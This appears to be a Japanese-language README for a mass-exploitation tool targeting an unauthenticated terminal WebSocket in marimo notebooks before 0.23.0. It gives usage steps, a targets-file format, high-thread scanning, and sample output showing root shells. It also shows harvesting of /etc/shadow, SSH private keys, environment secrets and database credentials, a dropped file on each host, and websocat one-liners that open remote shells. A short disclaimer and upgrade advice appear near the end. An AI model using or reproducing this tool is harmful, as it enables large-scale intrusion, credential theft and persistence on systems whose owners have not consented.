
marimoはリアクティブなPythonノートブックです。0.23.0より前のバージョンでは、MarimoにPre-Auth RCEの脆弱性が存在します。
marimoはリアクティブPythonノートブックです。0.23.0より前のバージョンでは、Marimoに事前認証RCE(Pre-Auth RCE)の脆弱性があります。
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — 未認証WebSocketによる事前認証RCE
著者: Nxploited · Telegram: @KNxploited
📢 最新の無料ゼロデイ&エクスプロイトを入手するにはTelegramチャンネルに参加してください:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 は、オープンソースのリアクティブPythonノートブックプラットフォームである Marimo に影響を及ぼす 重大な事前認証リモートコード実行(Pre-Auth RCE) 脆弱性です。
ターミナルWebSocketエンドポイント /terminal/ws は認証検証を完全に欠いており、認証されていない任意のリモート攻撃者 が 完全なPTYシェル を取得し、実行中プロセスの権限(コンテナ化されたデプロイメントでは多くの場合 root)で任意のシステムコマンドを実行できるようになります。
接続受け入れ前に validate_auth() を正しく呼び出す /ws などの他のWebSocketエンドポイントとは異なり、/terminal/ws エンドポイントは実行モードとプラットフォーム互換性のみを検証し、認証を完全にスキップします。
✅ 修正バージョン:
marimo >= 0.23.0❌0.23.0より前のすべてのバージョンが脆弱です
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
/terminal/ws ハンドラーは以下のみをチェックします。
セッショントークン、Cookie、その他いかなる形式のアイデンティティも検証しないため、公開されたすべてのMarimoインスタンスがそのままシェルになります。
.py Marimoノートブックを再帰的に発見して読み取り.env ファイル · wp-config.php · SSH秘密鍵 · /etc/shadowPython 3.10 or higher
依存関係のインストール:
pip install websockets rich requests urllib3
またはrequirementsファイルを使用:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
targets.txt という名前のファイルを作成し、1行に1ターゲットを記述します。
ツールは以下のすべての形式を受け付けます。
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
対応形式:ベアIP · IP:port · ドメイン · ドメイン:port ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
スレッド範囲:1〜300。推奨:ネットワークに応じて50〜150。
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
脆弱なターゲットを特定したら、websocat を使用して手動で接続します:
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
Authorizationヘッダーの値は無関係です — このエンドポイントは任意のトークンまたはトークンなしを受け入れます。
本番環境または公開環境でMarimoを実行している場合:
marimo >= 0.23.0 へ直ちにアップグレードする127.0.0.1 のみにバインドする — インターネットに直接公開しない/terminal/ws へのアクセスを制限する本ツールは、教育目的、許可を得たペネトレーションテスト、および正当なセキュリティ研究のためにのみ提供されます。
このツールを任意のターゲットに対して実行する前に、システム所有者からの明示的な書面による許可が必須です。所有していない、またはテストする許可を得ていないシステムに対する不正使用は違法であり、Computer Fraud and Abuse Act(CFAA)、Computer Misuse Act、EUサイバー犯罪指令、およびお住まいの地域の同等の法律を含む(ただしこれらに限定されない)適用されるコンピュータ犯罪法に基づき、民事および/または刑事訴追の対象となる可能性があります。
著者は、本ツールの誤用によって生じたいかなる損害、データ損失、または法的結果についても責任を負いません。
責任を持って使用してください。倫理的にハッキングしてください。
| プロパティ | 値 |
|---|
| CVE ID | CVE-2026-39987 |
| 影響を受けるソフトウェア | marimo < 0.23.0 |
| 脆弱性の種類 | 未認証WebSocket経由の事前認証RCE |
| 影響を受けるエンドポイント | /terminal/ws |
| 攻撃ベクター | ネットワーク |
| 認証の必要性 | ❌ 不要 |
| ユーザー操作 | ❌ 不要 |
| 深刻度 | 🔴 Critical |
| 影響 | 完全なPTYシェル · 任意のコマンド実行 |
| 修正バージョン | marimo 0.23.0 |
| アイコン | レベル | 説明 |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — 完全なrootアクセス |
✦✦ 🟡 | PRIV | sudo · wheel · docker · disk · adm グループのメンバー |
✦ 🔵 | SHELL | 非特権シェルアクセス |
✗ 🔴 | FAIL | 接続拒否 · タイムアウト · HTTPエラー |
| 環境 | 自動検出 | 特化型収集 |
|---|
| 🟣 Marimo | ✅ | ノートブック · トークン · DuckDB · .marimo.toml · マウント |
| 🔵 cPanel / WHM | ✅ | userdomains · MySQLパスワード · WHMユーザー一覧 |
| 🟠 Plesk | ✅ | psa.shadow · vhosts · MySQL管理者認証情報 |
| 🌐 Apache | ✅ | VirtualHost · sites-enabled · アクセス/エラーログ |
| 🟢 Nginx | ✅ | サーバーブロック · conf.d · アクセス/エラーログ |
| 🐍 Pythonアプリ | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · publicディレクトリ |
| 🐳 Docker | ✅ | バインドマウント · コンテナローカルストレージ検出 |
| ⚙️ 汎用 | ✅ | 未知の環境に対する完全列挙スイート |
| ハンドル | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| チャンネル | Nxploited ZeroDay Hub |
「静かになればなるほど、より多くのものが聞こえてくる。」
⭐ このツールが役に立ったなら、スターを付けて、さらに多くのゼロデイを入手するためにチャンネルに参加してください! ⭐